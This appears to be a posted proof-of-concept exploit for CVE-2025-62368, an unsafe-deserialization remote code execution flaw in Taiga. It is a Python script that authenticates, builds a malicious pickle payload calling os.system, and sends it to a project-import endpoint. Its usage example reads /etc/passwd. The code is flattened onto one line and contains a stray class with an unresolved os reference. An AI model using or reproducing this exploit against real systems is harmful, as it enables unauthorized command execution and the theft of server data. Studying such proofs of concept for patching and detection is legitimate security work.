CVE-2025-62368 Taiga远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-62368 PoC - Taiga Unsafe Deserialization RCE # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import requests import pickle import base64 import sys class Exploit: def __reduce__(self): # Replace with actual command to execute cmd = "whoami" return (os.system, (cmd,)) def generate_payload(): """Generate malicious pickle payload""" import os payload = pickle.dumps(Exploit()) return base64.b64encode(payload).decode() def exploit(target_url, username, password, command="id"): """ Exploit CVE-2025-62368 Args: target_url: Base URL of Taiga instance username: Valid low-privilege user password: User password command: Command to execute on target """ session = requests.Session() # Step 1: Login to get authentication token login_url = f"{target_url}/api/v1/auth" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return None token = response.json().get("auth_token") print(f"[+] Login successful, token: {token[:20]}...") # Step 2: Prepare malicious payload import os class RCE: def __reduce__(self): return (os.system, (command,)) payload = base64.b64encode(pickle.dumps(RCE())).decode() # Step 3: Send exploit payload to vulnerable API endpoint exploit_url = f"{target_url}/api/v1/projects/import" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } exploit_data = { "import_data": payload, "template": "custom" } print(f"[*] Sending exploit payload...") response = session.post(exploit_url, json=exploit_data, headers=headers) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response.json() if response.status_code == 200 else None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} http://taiga.local user pass 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, pwd, cmd)